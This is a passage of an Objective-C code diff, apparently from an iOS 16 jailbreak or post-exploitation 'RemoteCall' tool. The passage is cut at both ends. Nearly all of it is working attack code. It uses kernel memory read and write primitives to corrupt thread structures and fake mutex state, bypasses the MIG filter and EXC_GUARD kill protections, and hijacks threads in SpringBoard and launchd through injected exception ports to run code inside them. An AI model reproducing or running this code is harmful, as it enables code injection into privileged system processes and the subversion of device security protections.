RC_IOS16_OFF_THREAD_RO_EXC_ACTIONS) : 0; + RC_IOS16_DEBUG_LOG("(rc.iOS16) shared-actions fallback: kr=0x%x thread=0x%llx target_tro=0x%llx target_old_actions=0x%llx dummy_tro=0x%llx dummy_actions=0x%llx mask=0x%x\n", + kr, thread, targetTro, targetOldActions, dummyTro, dummyActions, exceptionMask); + fflush(stdout); + + if (!rc_is_kernel_ptr(targetTro)) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) shared-actions fallback rejected invalid target tro: thread=0x%llx tro=0x%llx\n", thread, targetTro); + fflush(stdout); + return NO; + } + if (!rc_is_kernel_ptr(dummyActions)) { + return NO; + } + + [self rememberIOS16ExceptionActionsForThreadRo:targetTro originalActions:targetOldActions]; + uint64_t writeAddr = targetTro + RC_IOS16_OFF_THREAD_RO_EXC_ACTIONS; + BOOL wrote = rc_ios16_write64_in_zone_block(writeAddr, dummyActions); + uint64_t after = ds_kread64(writeAddr); + RC_IOS16_DEBUG_LOG("(rc.iOS16) shared-actions fallback write: addr=0x%llx value=0x%llx wrote=%d after=0x%llx\n", + writeAddr, dummyActions, wrote, after); + fflush(stdout); + + return wrote && rc_kernel_ptr_matches(after, dummyActions); +} + +- (BOOL)setExceptionPortOnThreadIOS16:(mach_port_t)exceptionPort forThread:(uint64_t)currThread useMigFilterBypass:(BOOL)useMigFilterBypass { + self.lastError = nil; + bool success = false; + void *thread_set_exception_ports_addr = dlsym(RTLD_DEFAULT, "thread_set_exception_ports"); + void *pthread_exit_addr = dlsym(RTLD_DEFAULT, "pthread_exit"); + if (!thread_set_exception_ports_addr || !pthread_exit_addr) { + return false; + } + + pthread_t pthread = NULL; + int pthreadErr = pthread_create_suspended_np(&pthread, NULL, + (void *(*)(void *))thread_set_exception_ports_addr, NULL); + if (pthreadErr != 0 || !pthread) { + return false; + } + + mach_port_t machThread = pthread_mach_thread_np(pthread); + if (machThread == MACH_PORT_NULL) { + pthread_cancel(pthread); + return false; + } + + uint64_t machThreadAddr = rc_task_get_ipc_port_kobject(task_self(), machThread); + if (!machThreadAddr) { + pthread_cancel(pthread); + return false; + } + + if (useMigFilterBypass) { + mig_bypass_monitor_threads(_selfThreadAddr, machThreadAddr); + } + + arm_thread_state64_internal state; + memset(&state, 0, sizeof(state)); + mach_msg_type_number_t count = ARM_THREAD_STATE64_COUNT; + kern_return_t kr = thread_get_state(machThread, ARM_THREAD_STATE64, (thread_state_t)&state, &count); + if (kr != KERN_SUCCESS) { + pthread_cancel(pthread); + return false; + } + + arm_thread_state64_set_pc_fptr(state, thread_set_exception_ports_addr); + arm_thread_state64_set_lr_fptr(state, pthread_exit_addr); + + uint64_t exceptionMask = EXC_MASK_GUARD | + EXC_MASK_BAD_ACCESS | + EXC_MASK_BAD_INSTRUCTION | + EXC_MASK_BREAKPOINT | + EXC_MASK_ARITHMETIC; + + state.__x[0] = _dummyThreadMach; + state.__x[1] = exceptionMask; + state.__x[2] = exceptionPort; + state.__x[3] = EXCEPTION_STATE | MACH_EXCEPTION_CODES; + state.__x[4] = ARM_THREAD_STATE64; + + if (useMigFilterBypass) { + usleep(100000); + } + + if (!threadsetstate(machThread, machThreadAddr, &state)) { + pthread_cancel(pthread); + return false; + } + + if (useMigFilterBypass) { + usleep(100000); + } + + rc_ios16_log_exception_probe("before-mutex", machThreadAddr, _dummyThreadAddr, _selfThreadAddr, _selfThreadCtid); + + uint32_t dummyOriginalMutex = ds_kread32(_dummyThreadAddr + off_thread_mutex_lck_mtx_data); + ds_kwrite32(_dummyThreadAddr + off_thread_mutex_lck_mtx_data, RC_IOS16_LCK_MTX_INTERLOCK_ONLY); + RC_IOS16_DEBUG_LOG("(rc.iOS16) dummy mutex fake state=0x%x strategy=interlock-only self_ctid=0x%x dummy_ctid=0x%x\n", + ds_kread32(_dummyThreadAddr + off_thread_mutex_lck_mtx_data), + _selfThreadCtid, + ds_kread32(_dummyThreadAddr + off_thread_ctid)); + fflush(stdout); + + rc_ios16_log_exception_probe("after-mutex", machThreadAddr, _dummyThreadAddr, _selfThreadAddr, _selfThreadCtid); + + if (!threadresume(machThread)) { + self.lastError = [NSString stringWithFormat:@"iOS16 setExceptionPort helper thread_resume failed thread=0x%llx", currThread]; + pthread_cancel(pthread); + return false; + } + RC_IOS16_DEBUG_LOG("(rc.iOS16) helper thread_resume OK mach=0x%x helper=0x%llx target=0x%llx\n", + machThread, + machThreadAddr, + currThread); + fflush(stdout); + + uint64_t targetTro = thread_get_t_tro(currThread); + uint64_t targetActionsBefore = targetTro ? ds_kread64(targetTro + RC_IOS16_OFF_THREAD_RO_EXC_ACTIONS) : 0; + if (targetTro) { + [self rememberIOS16ExceptionActionsForThreadRo:targetTro originalActions:targetActionsBefore]; + } + + for (int i = 0; i < 10; i++) { + usleep(200000); + + uint64_t kstack = thread_get_kstackptr(machThreadAddr); + if (!kstack) { + printf("(rc) [iter %d] Failed to get kstack. Retry...\n", i); + fflush(stdout); + continue; + } + + RC_IOS16_DEBUG_LOG("(rc.iOS16) after-resume initial kstack=0x%llx spin=%d\n", kstack, i); + fflush(stdout); + + uint64_t kernelSP = ds_kread64(kstack + off_arm_kernel_saved_state_sp); + if (!kernelSP) { + printf("(rc) [iter %d] Failed to get SP. Retry...\n", i); + fflush(stdout); + continue; + } + + uint64_t pageBase = trunc_page(kernelSP); + uint64_t searchBase = pageBase; + size_t searchSize = 0x4000; + uint8_t *dataBuff = malloc(searchSize); + if (!dataBuff) { + break; + } + memset(dataBuff, 0, searchSize); + ds_kreadbuf(searchBase, dataBuff, searchSize); + RC_IOS16_DEBUG_LOG("(rc.iOS16) [iter %d] dummy mutex after-kstack data=0x%x raw64=0x%llx\n", + i, + ds_kread32(_dummyThreadAddr + off_thread_mutex_lck_mtx_data), + ds_kread64(_dummyThreadAddr + off_thread_mutex_lck_mtx_data)); + fflush(stdout); + + size_t exceptionMaskOff = 0; + uint64_t exceptionMaskValue = 0; + BOOL hasExceptionMask = rc_find_kernel_ptr_match(dataBuff, searchSize, exceptionMask, &exceptionMaskOff, &exceptionMaskValue); + size_t dummyMachOff = 0; + uint64_t dummyMachValue = 0; + BOOL hasDummyMach = rc_find_kernel_ptr_match(dataBuff, searchSize, _dummyThreadMach, &dummyMachOff, &dummyMachValue); + RC_IOS16_DEBUG_LOG("(rc.iOS16) [iter %d] stack probes: exceptionMask=0x%llx off=%s0x%zx dummyMach=0x%llx off=%s0x%zx\n", + i, + exceptionMask, + hasExceptionMask ? "" : "NO+", + exceptionMaskOff, + (uint64_t)_dummyThreadMach, + hasDummyMach ? "" : "NO+", + dummyMachOff); + fflush(stdout); + + size_t foundOffset = 0; + uint64_t foundValue = 0; + BOOL found = rc_find_kernel_ptr_match(dataBuff, searchSize, _dummyThreadTro, &foundOffset, &foundValue); + free(dataBuff); + if (!found) { + printf("(rc) [iter %d] Couldn't find g_RC_dummyThreadTro=0x%llx in pageBase=0x%llx\n", i, _dummyThreadTro, pageBase); + fflush(stdout); + rc_ios16_log_plausible_tro_stack_slots(searchBase, searchSize, targetTro); + continue; + } + + RC_IOS16_DEBUG_LOG("(rc.iOS16) [iter %d] Found PAC-stripped TRO match value=0x%llx needle=0x%llx\n", + i, foundValue, _dummyThreadTro); + fflush(stdout); + + int replaceCount = rc_ios16_replace_kernel_ptr_matches(searchBase, searchSize, _dummyThreadTro, targetTro); + RC_IOS16_DEBUG_LOG("(rc.iOS16) stack TRO replace-all count=%d searchBase=0x%llx size=0x%zx\n", + replaceCount, searchBase, searchSize); + fflush(stdout); + if (replaceCount <= 0) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) stack TRO replace-all failed, retrying\n"); + fflush(stdout); + continue; + } + + uint64_t savedX27Addr = kstack + RC_IOS16_KERNEL_SAVED_X27; + uint64_t savedX27Before = ds_kread64(savedX27Addr); + RC_IOS16_DEBUG_LOG("(rc.iOS16) [iter %d] saved-x27 addr=0x%llx value=0x%llx dummyTro=0x%llx targetTro=0x%llx\n", + i, savedX27Addr, savedX27Before, _dummyThreadTro, targetTro); + BOOL savedX27Matched = rc_kernel_ptr_matches(savedX27Before, _dummyThreadTro); + if (savedX27Matched) { + ds_kwrite64(savedX27Addr, targetTro); + } + uint64_t savedX27After = ds_kread64(savedX27Addr); + RC_IOS16_DEBUG_LOG("(rc.iOS16) saved-x27 TRO replace addr=0x%llx before=0x%llx matched=%d after=0x%llx\n", + savedX27Addr, savedX27Before, savedX27Matched, savedX27After); + fflush(stdout); + if (savedX27Matched && rc_kernel_ptr_matches(savedX27After, targetTro)) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) saved-x27 TRO swap SUCCESS!\n"); + } else if (savedX27Matched) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) saved-x27 TRO swap verify failed after=0x%llx\n", savedX27After); + } else { + RC_IOS16_DEBUG_LOG("(rc.iOS16) saved-x27 TRO swap observation only\n"); + } + fflush(stdout); + + uint32_t restoredMutex = dummyOriginalMutex; + ds_kwrite32(_dummyThreadAddr + off_thread_mutex_lck_mtx_data, restoredMutex); + RC_IOS16_DEBUG_LOG("(rc.iOS16) early mutex restore after TRO swap: restored=0x%x current=0x%x\n", + restoredMutex, + ds_kread32(_dummyThreadAddr + off_thread_mutex_lck_mtx_data)); + fflush(stdout); + + usleep(100000); + if ([self verifyIOS16ExceptionActionsForThread:currThread exceptionPort:exceptionPort stage:"after-stack-swap"] || + [self verifyIOS16ExceptionActionsForThread:currThread exceptionPort:exceptionPort stage:"after-stack-swap-final"]) { + success = true; + break; + } + + RC_IOS16_DEBUG_LOG("(rc.iOS16) stack TRO swap did not install usable EXC_GUARD action, trying shared dummy actions\n"); + fflush(stdout); + if ([self installIOS16SharedDummyExceptionActionsForThread:currThread exceptionPort:exceptionPort exceptionMask:(uint32_t)exceptionMask] && + [self verifyIOS16ExceptionActionsForThread:currThread exceptionPort:exceptionPort stage:"after-shared-actions"]) { + success = true; + break; + } + + RC_IOS16_DEBUG_LOG("(rc.iOS16) stack TRO swap did not install usable EXC_GUARD action\n"); + fflush(stdout); + } + + int helperCleanupSpin = 0; + uint64_t helperKstack = 0; + for (; helperCleanupSpin < 5000; helperCleanupSpin++) { + helperKstack = thread_get_kstackptr(machThreadAddr); + if (!helperKstack) { + break; + } + usleep(1000); + } + uint64_t helperWaitEvent = ds_kread64(machThreadAddr + off_thread_mutex_lck_mtx_data); + uint64_t targetActions = targetTro ? ds_kread64(targetTro + RC_IOS16_OFF_THREAD_RO_EXC_ACTIONS) : 0; + uint64_t dummyActions = _dummyThreadTro ? ds_kread64(_dummyThreadTro + RC_IOS16_OFF_THREAD_RO_EXC_ACTIONS) : 0; + RC_IOS16_DEBUG_LOG("(rc.iOS16) helper cleanup after mutex restore: spin=%d helper_kstack=0x%llx observation_only=%d dummy_mutex=0x%x helper_wait_event=0x%llx target_thread=0x%llx target_tro=0x%llx target_actions=0x%llx dummy_tro=0x%llx dummy_actions=0x%llx\n", + helperCleanupSpin, + helperKstack, + !success, + ds_kread32(_dummyThreadAddr + off_thread_mutex_lck_mtx_data), + helperWaitEvent, + currThread, + targetTro, + targetActions, + _dummyThreadTro, + dummyActions); + fflush(stdout); + + if (helperKstack) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) helper still in kernel after observation, leaving pthread untouched\n"); + fflush(stdout); + } + + printf("(rc) set_exception_port_on_thread returning success=%d\n", success); + fflush(stdout); + if (!success) { + self.lastError = [NSString stringWithFormat:@"iOS16 setExceptionPort failed before first exception thread=0x%llx helper=0x%llx", currThread, machThreadAddr]; + } + + thread_set_exception_ports(_dummyThreadMach, 0, exceptionPort, EXCEPTION_STATE | MACH_EXCEPTION_CODES, ARM_THREAD_STATE64); + + if (useMigFilterBypass) { + usleep(100000); + } + + return success; +} + +- (int)initRemoteCallForProcessIOS16:(const char *)process useMigFilterBypass:(BOOL)useMigFilterBypass { + self.lastError = nil; + if (!process || process[0] == '\0') { + self.lastError = @"iOS16 RemoteCall missing process name"; + return -1; + } + + _liveContainerRuntime = islcruntime(); + uint64_t procAddr = proc_find_by_name(process); + if (!procAddr) { + printf("(rc) Unable to find process: %s\n", process); + return -1; + } + printf("(rc) process: %s, pid: %u\n", process, ds_kread32(procAddr + off_proc_p_pid)); + _taskAddr = proc_task(procAddr); + if (!_taskAddr) { + return -1; + } + + mach_port_t firstExceptionPort = createexcport(); + mach_port_t secondExceptionPort = createexcport(); + printf("(rc) firstExceptionPort: 0x%x, secondExceptionPort: 0x%x\n", firstExceptionPort, secondExceptionPort); + if (!firstExceptionPort || !secondExceptionPort) { + printf("(rc) Couldn't create exception ports\n"); + mach_port_destruct(mach_task_self_, firstExceptionPort, 0, 0); + mach_port_destruct(mach_task_self_, secondExceptionPort, 0, 0); + return -1; + } + + if (!rc_disable_excguard_kill_checked(_taskAddr)) { + mach_port_destruct(mach_task_self_, firstExceptionPort, 0, 0); + mach_port_destruct(mach_task_self_, secondExceptionPort, 0, 0); + return -1; + } + + mach_exception_code_t guardCode = 0; + EXC_GUARD_ENCODE_TYPE(guardCode, GUARD_TYPE_MACH_PORT); + EXC_GUARD_ENCODE_FLAVOR(guardCode, kGUARD_EXC_INVALID_RIGHT); + EXC_GUARD_ENCODE_TARGET(guardCode, 0xf503ULL); + + uint64_t selfTask = task_self(); + uint64_t firstPortAddr = rc_task_get_ipc_port_object(selfTask, firstExceptionPort); + uint64_t secondPortAddr = rc_task_get_ipc_port_object(selfTask, secondExceptionPort); + if (!firstPortAddr || !secondPortAddr) { + mach_port_destruct(mach_task_self_, firstExceptionPort, 0, 0); + mach_port_destruct(mach_task_self_, secondExceptionPort, 0, 0); + return -1; + } + + pthread_t dummyThread = NULL; + void *dummyFunc = dlsym(RTLD_DEFAULT, "getpid"); + if (!dummyFunc) { + mach_port_destruct(mach_task_self_, firstExceptionPort, 0, 0); + mach_port_destruct(mach_task_self_, secondExceptionPort, 0, 0); + return -1; + } + int dummyErr = pthread_create_suspended_np(&dummyThread, NULL, (void *(*)(void *))dummyFunc, NULL); + if (dummyErr != 0 || !dummyThread) { + mach_port_destruct(mach_task_self_, firstExceptionPort, 0, 0); + mach_port_destruct(mach_task_self_, secondExceptionPort, 0, 0); + return -1; + } + mach_port_t dummyThreadMach = pthread_mach_thread_np(dummyThread); + if (dummyThreadMach == MACH_PORT_NULL) { + pthread_cancel(dummyThread); + mach_port_destruct(mach_task_self_, firstExceptionPort, 0, 0); + mach_port_destruct(mach_task_self_, secondExceptionPort, 0, 0); + return -1; + } + + uint64_t dummyThreadAddr = rc_task_get_ipc_port_kobject(selfTask, dummyThreadMach); + uint64_t dummyThreadTro = ds_kread64(dummyThreadAddr + off_thread_t_tro); + mach_port_t threadSelf = mach_thread_self(); + uint64_t selfThreadAddr = rc_task_get_ipc_port_kobject(selfTask, threadSelf); + uint32_t selfThreadCtid = ds_kread32(selfThreadAddr + off_thread_ctid); + if (!dummyThreadAddr || !dummyThreadTro || !selfThreadAddr) { + pthread_cancel(dummyThread); + mach_port_deallocate(mach_task_self_, threadSelf); + mach_port_destruct(mach_task_self_, firstExceptionPort, 0, 0); + mach_port_destruct(mach_task_self_, secondExceptionPort, 0, 0); + return -1; + } + mach_port_deallocate(mach_task_self_, threadSelf); + + _creatingExtraThread = false; + _firstExceptionPort = firstExceptionPort; + _secondExceptionPort = secondExceptionPort; + _firstExceptionPortAddr = firstPortAddr; + _secondExceptionPortAddr = secondPortAddr; + _dummyThread = dummyThread; + _dummyThreadMach = dummyThreadMach; + _dummyThreadAddr = dummyThreadAddr; + _dummyThreadTro = dummyThreadTro; + _selfThreadAddr = selfThreadAddr; + _selfThreadCtid = selfThreadCtid; + _trojanMemIsStackFallback = false; + _trojanMemScratchOffset = 0; + self.threadList = [NSMutableArray new]; + + int retryCount = 0; + int validThreadCount = 0; + int successThreadCount = 0; + BOOL useSpringBoardActiveScan = strcmp(process, "SpringBoard") == 0; + int targetSuccessThreadCount = strcmp(process, "SpringBoard") == 0 ? 1 : (strcmp(process, "launchd") == 0 ? 8 : 1); + BOOL allowInactiveFallback = strcmp(process, "SpringBoard") == 0 && !useSpringBoardActiveScan; + uint64_t inactiveFallbackThread = 0; + uint64_t inactiveFallbackKstack = 0; + uint32_t taskThreadsHeadOffset = rc_ios16_task_threads_head_offset(); + uint64_t firstEntry = ds_kread64(_taskAddr + taskThreadsHeadOffset); + uint64_t firstThread = rc_resolve_task_thread_entry(firstEntry, _taskAddr); + uint64_t currThread = firstThread; + RC_IOS16_DEBUG_LOG("(rc.iOS16) %s task_threads.next=0x%llx thread_ro=0x%llx proc=0x%llx task=0x%llx expected_task=0x%llx head_off=0x%x runtime_head_off=0x%x\n", + process, firstEntry, firstThread ? thread_get_t_tro(firstThread) : 0, procAddr, _taskAddr, _taskAddr, + taskThreadsHeadOffset, off_task_threads_next); + RC_IOS16_DEBUG_LOG("(rc.iOS16) %s target success threads=%d\n", process, targetSuccessThreadCount); + fflush(stdout); + if (!firstThread) { + [self destroyRemoteCall]; + return -1; + } + + _trojanThreadAddr = 0; + if (useMigFilterBypass) { + mig_bypass_resume(); + } + + if (useSpringBoardActiveScan) { + int maxRounds = (RC_IOS16_ACTIVE_SCAN_SECONDS * 1000000) / RC_IOS16_ACTIVE_SCAN_INTERVAL_US; + uint64_t activeThread = 0; + BOOL activeThreadInjected = NO; + + RC_IOS16_DEBUG_LOG("(rc.iOS16) SpringBoard active-scan begin seconds=%d interval_us=%d rounds=%d\n", + RC_IOS16_ACTIVE_SCAN_SECONDS, RC_IOS16_ACTIVE_SCAN_INTERVAL_US, maxRounds); + fflush(stdout); + + for (int round = 0; round < maxRounds && !activeThread; round++) { + rc_ios16_poke_first_exception_target(process, round); + uint64_t scanEntry = ds_kread64(_taskAddr + taskThreadsHeadOffset); + uint64_t scanThread = rc_resolve_task_thread_entry(scanEntry, _taskAddr); + int scanned = 0; + + while (scanThread && scanned < RC_IOS16_MAX_THREAD_CANDIDATES) { + uint64_t scanTask = thread_get_task(scanThread); + if (scanTask != _taskAddr) { + break; + } + + uint64_t scanCpuData = rc_ios16_thread_cpu_datap(scanThread); + uint64_t scanActive = scanCpuData ? ds_kread64(scanCpuData + RC_IOS16_OFF_CPU_ACTIVE_THREAD) : 0; + if (scanCpuData && rc_kernel_ptr_matches(scanActive, scanThread)) { + uint64_t scanKstack = thread_get_kstackptr(scanThread); + if (!scanKstack) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) SpringBoard active-scan skip active thread with zero kstack round=%d scanned=%d thread=0x%llx cpuData=0x%llx active=0x%llx\n", + round, scanned, scanThread, scanCpuData, scanActive); + fflush(stdout); + uint64_t next = ds_kread64(scanThread + rc_thread_task_threads_offset()); + if (rc_ios16_is_task_thread_head(next, _taskAddr)) { + break; + } + scanThread = rc_resolve_task_thread_entry(next, _taskAddr); + scanned++; + continue; + } + activeThread = scanThread; + if ([_threadList containsObject:@(activeThread)]) { + uint64_t next = ds_kread64(scanThread + rc_thread_task_threads_offset()); + if (rc_ios16_is_task_thread_head(next, _taskAddr)) { + break; + } + scanThread = rc_resolve_task_thread_entry(next, _taskAddr); + activeThread = 0; + scanned++; + continue; + } + RC_IOS16_DEBUG_LOG("(rc.iOS16) SpringBoard active-scan HIT round=%d scanned=%d thread=0x%llx cpuData=0x%llx active=0x%llx\n", + round, scanned, activeThread, scanCpuData, scanActive); + rc_ios16_log_thread_machine_probe(activeThread, "active-scan-hit"); + fflush(stdout); + uint64_t recheckCpuData = rc_ios16_thread_cpu_datap(activeThread); + uint64_t recheckActive = recheckCpuData ? ds_kread64(recheckCpuData + RC_IOS16_OFF_CPU_ACTIVE_THREAD) : 0; + uint64_t recheckKstack = thread_get_kstackptr(activeThread); + if (!recheckCpuData || !rc_kernel_ptr_matches(recheckActive, activeThread) || !recheckKstack) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) SpringBoard active-scan stale HIT before setExceptionPort round=%d scanned=%d thread=0x%llx cpuData=0x%llx active=0x%llx kstack=0x%llx; keep scanning\n", + round, scanned, activeThread, recheckCpuData, recheckActive, recheckKstack); + fflush(stdout); + activeThread = 0; + uint64_t next = ds_kread64(scanThread + rc_thread_task_threads_offset()); + if (rc_ios16_is_task_thread_head(next, _taskAddr)) { + break; + } + scanThread = rc_resolve_task_thread_entry(next, _taskAddr); + scanned++; + continue; + } + RC_IOS16_DEBUG_LOG("(rc.iOS16) SpringBoard active-scan setExceptionPort begin thread=0x%llx port=0x%x\n", + activeThread, firstExceptionPort); + fflush(stdout); + BOOL activeSetPortOK = [self setExceptionPortOnThread:firstExceptionPort forThread:activeThread useMigFilterBypass:useMigFilterBypass]; + RC_IOS16_DEBUG_LOG("(rc.iOS16) SpringBoard active-scan setExceptionPort result=%d thread=0x%llx\n", + activeSetPortOK, activeThread); + fflush(stdout); + if (!activeSetPortOK) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) SpringBoard active-scan setExceptionPort failed thread=0x%llx; keep scanning\n", + activeThread); + fflush(stdout); + self.lastError = [NSString stringWithFormat:@"iOS16 SpringBoard active-scan setExceptionPort failed thread=0x%llx", activeThread]; + activeThread = 0; + } else { + RC_IOS16_DEBUG_LOG("(rc.iOS16) SpringBoard active-scan immediate inject after setExceptionPort thread=0x%llx\n", + activeThread); + fflush(stdout); + rc_ios16_log_guard_target("before-active-scan-inject", activeThread, firstPortAddr); + RC_IOS16_DEBUG_LOG("(rc.iOS16) SpringBoard active-scan injectguardexc begin thread=0x%llx guard=0x%llx\n", + activeThread, guardCode); + fflush(stdout); + BOOL activeInjectOK = injectguardexc(activeThread, guardCode); + RC_IOS16_DEBUG_LOG("(rc.iOS16) SpringBoard active-scan injectguardexc result=%d thread=0x%llx\n", + activeInjectOK, activeThread); + fflush(stdout); + if (!activeInjectOK) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) SpringBoard active-scan Inject EXC_GUARD failed thread=0x%llx; keep scanning\n", + activeThread); + fflush(stdout); + activeThread = 0; + } else { + _trojanThreadAddr = activeThread; + g_rc_ios16_last_active_injected_thread = activeThread; + successThreadCount++; + [_threadList addObject:@(activeThread)]; + activeThreadInjected = YES; + RC_IOS16_DEBUG_LOG("(rc.iOS16) SpringBoard active-scan Inject EXC_GUARD on thread:0x%llx OK\n", + activeThread); + rc_ios16_log_guard_target("after-active-scan-inject", activeThread, firstPortAddr); + rc_ios16_propagate_guard_ast_to_cpu(activeThread, "active-scan"); + rc_ios16_wait_guard_ast_changed(activeThread); + rc_ios16_log_guard_target("after-active-scan-500ms", activeThread, firstPortAddr); + } + } + break; + } + + uint64_t next = ds_kread64(scanThread + rc_thread_task_threads_offset()); + if (rc_ios16_is_task_thread_head(next, _taskAddr)) { + break; + } + scanThread = rc_resolve_task_thread_entry(next, _taskAddr); + scanned++; + } + + if (!activeThread) { + if ((round % 20) == 0) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) SpringBoard active-scan round=%d/%d no-active scanned=%d\n", + round + 1, maxRounds, scanned); + fflush(stdout); + } + usleep(RC_IOS16_ACTIVE_SCAN_INTERVAL_US); + } + } + + if (!activeThreadInjected) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) SpringBoard active-scan no injectable active thread after %d seconds; activeThread=0x%llx threadList=%lu success=%d; aborting before inactive fallback\n", + RC_IOS16_ACTIVE_SCAN_SECONDS, + activeThread, + (unsigned long)_threadList.count, + successThreadCount); + fflush(stdout); + self.lastError = [NSString stringWithFormat:@"iOS16 SpringBoard active-scan found no injectable active thread after %d seconds", RC_IOS16_ACTIVE_SCAN_SECONDS]; + if (useMigFilterBypass) { + mig_bypass_pause(); + } + [self destroyRemoteCall]; + return -1; + } + + currThread = activeThread; + firstThread = activeThread; + validThreadCount = 0; + retryCount = 0; + RC_IOS16_DEBUG_LOG("(rc.iOS16) SpringBoard active-scan selected injected thread=0x%llx\n", + activeThread); + fflush(stdout); + } + + while (currThread && successThreadCount < targetSuccessThreadCount && validThreadCount < RC_IOS16_MAX_THREAD_CANDIDATES && retryCount < 3) { + uint64_t task = thread_get_task(currThread); + if (!task) { + if (!validThreadCount) { + printf("(rc) failed on getting first thread at all, resetting\n"); + firstEntry = ds_kread64(_taskAddr + taskThreadsHeadOffset); + firstThread = rc_resolve_task_thread_entry(firstEntry, _taskAddr); + currThread = firstThread; + retryCount++; + continue; + } + break; + } + + if (task == _taskAddr) { + rc_ios16_log_thread_machine_probe(currThread, "candidate"); + uint64_t candidateKstack = thread_get_kstackptr(currThread); + uint64_t candidateCpuData = rc_ios16_thread_cpu_datap(currThread); + uint64_t candidateActive = candidateCpuData ? ds_kread64(candidateCpuData + RC_IOS16_OFF_CPU_ACTIVE_THREAD) : 0; + RC_IOS16_DEBUG_LOG("(rc.iOS16) candidate thread=0x%llx kstack=0x%llx cpuData=0x%llx active=0x%llx\n", + currThread, candidateKstack, candidateCpuData, candidateActive); + fflush(stdout); + if (!candidateCpuData || !rc_kernel_ptr_matches(candidateActive, currThread)) { + if (allowInactiveFallback && (!inactiveFallbackThread || (!inactiveFallbackKstack && candidateKstack))) { + inactiveFallbackThread = currThread; + inactiveFallbackKstack = candidateKstack; + RC_IOS16_DEBUG_LOG("(rc.iOS16) remember inactive fallback thread=0x%llx kstack=0x%llx cpuData=0x%llx active=0x%llx\n", + inactiveFallbackThread, inactiveFallbackKstack, candidateCpuData, candidateActive); + fflush(stdout); + } + RC_IOS16_DEBUG_LOG("(rc.iOS16) accept inactive candidate lara-style: current=0x%llx kstack=0x%llx cpuData=0x%llx active=0x%llx\n", + currThread, candidateKstack, candidateCpuData, candidateActive); + fflush(stdout); + } + + if (![self setExceptionPortOnThread:firstExceptionPort forThread:currThread useMigFilterBypass:useMigFilterBypass]) { + printf("(rc) Set exception port on thread:0x%llx failed\n", (unsigned long long)currThread); + if (successThreadCount > 0) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) set_exception failed after injected threads=%d; stop scanning and wait for first exception\n", + successThreadCount); + fflush(stdout); + break; + } + uint64_t next = ds_kread64(currThread + rc_thread_task_threads_offset()); + RC_IOS16_DEBUG_LOG("(rc.iOS16) advancing to next thread entry after set_exception failure: current=0x%llx next=0x%llx\n", currThread, next); + if (rc_ios16_is_task_thread_head(next, _taskAddr)) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) stop scanning after set_exception failure at task thread queue head\n"); + fflush(stdout); + break; + } + currThread = rc_resolve_task_thread_entry(next, _taskAddr); + if (!currThread) { + break; + } + retryCount++; + continue; + } + + rc_ios16_log_guard_target("before-inject", currThread, firstPortAddr); + if (!injectguardexc(currThread, guardCode)) { + printf("(rc) Inject EXC_GUARD on thread:0x%llx failed, not injecting\n", (unsigned long long)currThread); + if (successThreadCount > 0) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) guard injection failed after injected threads=%d; stop scanning and wait for first exception\n", + successThreadCount); + fflush(stdout); + break; + } + uint64_t next = ds_kread64(currThread + rc_thread_task_threads_offset()); + RC_IOS16_DEBUG_LOG("(rc.iOS16) advancing to next thread entry after guard injection failure: current=0x%llx next=0x%llx\n", currThread, next); + if (rc_ios16_is_task_thread_head(next, _taskAddr)) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) stop scanning after guard injection failure at task thread queue head\n"); + fflush(stdout); + break; + } + currThread = rc_resolve_task_thread_entry(next, _taskAddr); + if (!currThread) { + break; + } + retryCount++; + continue; + } + + _trojanThreadAddr = currThread; + successThreadCount++; + [_threadList addObject:@(currThread)]; + printf("(rc) Inject EXC_GUARD on thread:0x%llx OK\n", (unsigned long long)currThread); + rc_ios16_log_guard_target("after-inject", currThread, firstPortAddr); + rc_ios16_propagate_guard_ast_to_cpu(currThread, "after-inject"); + rc_ios16_wait_guard_ast_changed(currThread); + rc_ios16_log_guard_target("after-500ms", currThread, firstPortAddr); + validThreadCount++; + } else if (task && !validThreadCount) { + printf("(rc) Got weird tro on first thread, resetting\n"); + firstEntry = ds_kread64(_taskAddr + taskThreadsHeadOffset); + currThread = rc_resolve_task_thread_entry(firstEntry, _taskAddr); + retryCount++; + continue; + } + + uint64_t nextEntry = ds_kread64(currThread + rc_thread_task_threads_offset()); + if (!nextEntry) { + if (!validThreadCount) { + printf("(rc) Got empty next thread. Retry\n"); + firstEntry = ds_kread64(_taskAddr + taskThreadsHeadOffset); + currThread = rc_resolve_task_thread_entry(firstEntry, _taskAddr); + retryCount++; + continue; + } + printf("(rc) Break because of empty next thread\n"); + break; + } + if (rc_ios16_is_task_thread_head(nextEntry, _taskAddr)) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) reached task thread queue head after current=0x%llx; stop scanning\n", currThread); + fflush(stdout); + break; + } + currThread = rc_resolve_task_thread_entry(nextEntry, _taskAddr); + if (!currThread) { + break; + } + } + + if (successThreadCount == 0 && inactiveFallbackThread) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) trying inactive fallback thread=0x%llx kstack=0x%llx\n", + inactiveFallbackThread, inactiveFallbackKstack); + fflush(stdout); + + if ([self setExceptionPortOnThread:firstExceptionPort forThread:inactiveFallbackThread useMigFilterBypass:useMigFilterBypass]) { + rc_ios16_log_guard_target("before-inactive-fallback-inject", inactiveFallbackThread, firstPortAddr); + if (injectguardexc(inactiveFallbackThread, guardCode)) { + _trojanThreadAddr = inactiveFallbackThread; + successThreadCount++; + [_threadList addObject:@(inactiveFallbackThread)]; + RC_IOS16_DEBUG_LOG("(rc.iOS16) inactive fallback Inject EXC_GUARD on thread:0x%llx OK\n", + inactiveFallbackThread); + rc_ios16_log_guard_target("after-inactive-fallback-inject", inactiveFallbackThread, firstPortAddr); + rc_ios16_propagate_guard_ast_to_cpu(inactiveFallbackThread, "inactive-fallback"); + rc_ios16_wait_guard_ast_changed(inactiveFallbackThread); + 